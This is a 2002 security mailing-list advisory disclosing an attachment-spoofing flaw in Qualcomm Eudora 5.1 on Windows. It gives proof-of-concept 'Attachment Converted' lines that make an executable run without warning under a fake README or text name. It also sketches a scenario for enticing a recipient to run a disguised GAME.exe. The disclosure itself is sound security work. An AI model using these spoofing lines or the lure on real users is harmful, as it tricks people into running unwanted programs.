Eudora attachment spoof

From: Paul Szabo (pszat_private)
Date: Wed Aug 07 2002 - 14:49:20 PDT

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    I found an "attachment spoof" vulnerability in Qualcomm Eudora 5.1; I only
    verified this problem under Win2k Pro. This builds on a "feature" of Eudora
    noted in http://online.securityfocus.com/archive/1/177369 .
    
    Qualcomm was notified on 1 Aug 2002 but they did not respond.
    
    ---
    
    (The lines with # been left for the benefit of Eudora users.)
    
    A message may refer to attachments of other messages, or to any other file.
    Works well: proper icon, warns "the file may contain programs" when run:
    # Attachment Converted: "c:\winnt\system32\calc.exe"
    Attachment Converted: "c:\winnt\system32\calc.exe"
    
    Seems "dot bug" (filename ending with dot) is a general Windows feature.
    
    Executes without warning (icon OK):
    # Attachment Converted: "c:\winnt\system32\calc.exe."
    Attachment Converted: "c:\winnt\system32\calc.exe."
    
    Shows README.txt as attachment name, broken icon, executes without warning;
    but if you already have a README.txt then shows its icon and "runs" that:
    # Attachment Converted: "c:\winnt\system32\calc.exe." "\README.txt"
    Attachment Converted: "c:\winnt\system32\calc.exe." "\README.txt"
    
    In all cases, the true address is shown in bottom line of window.
    
    As a matter of curiosity, Eudora goes "funny" with an unquoted '>':
    # Attachment Converted: "c:\winnt\system32\calc.exe" > "\README.txt"
    Attachment Converted: "c:\winnt\system32\calc.exe" > "\README.txt"
    # Attachment Converted: "c:\winnt\system32\calc.exe" > "README.txt"
    Attachment Converted: "c:\winnt\system32\calc.exe" > "README.txt"
    
    My attachment directory is H:\Windows\.eudora\attach; is the default
    setting "C:\Program Files\Qualcomm\Eudora\attach"? Can we find out the
    recipient's settings (http://online.securityfocus.com/bid/1653 does not
    work with Eudora 5.1)?
    
    Suppose I send an attachment "GAME.exe", and hope the recipient does not
    already have an attachment named "GAME.text", then may be able to entice
    him to click and have the exe run: say something like what an interesting
    game, and be sure to read the description even if you do not want to play:
    # Attachment Converted: "h:\windows\.eudora\attach\GAME.exe." "\GAME.text"
    Attachment Converted: "h:\windows\.eudora\attach\GAME.exe." "\GAME.text"
    Also send the real attachment (should be encoded exe to take over the
    world), e.g.
    begin 700 GAME.exe
    ,1F]R(&9U;B!O;FQY
    `
    end
    
    ---
    
    A curiosity: Eudora is happy to act on a message containing something like
    <x-eudora-option:xyz=1> (you do not even need the leading '>', am not sure
    about the trailing '>'). This requires user interaction, so it may not be a
    security problem.
    
    ---
    
    Eudora also has an "issue" with decodings and line termination. The
    following message loses a trailing 'r':
    
    perl -e 'print "Hello\nstranger\n"' | base64-encode
    
    Content-Type: text/plain; charset=us-ascii
    Content-Transfer-Encoding: base64
    
    SGVsbG8Kc3RyYW5nZXIK
    
    ---
    
    Paul Szabo - pszat_private  http://www.maths.usyd.edu.au:8000/u/psz/
    School of Mathematics and Statistics  University of Sydney   2006  Australia
    



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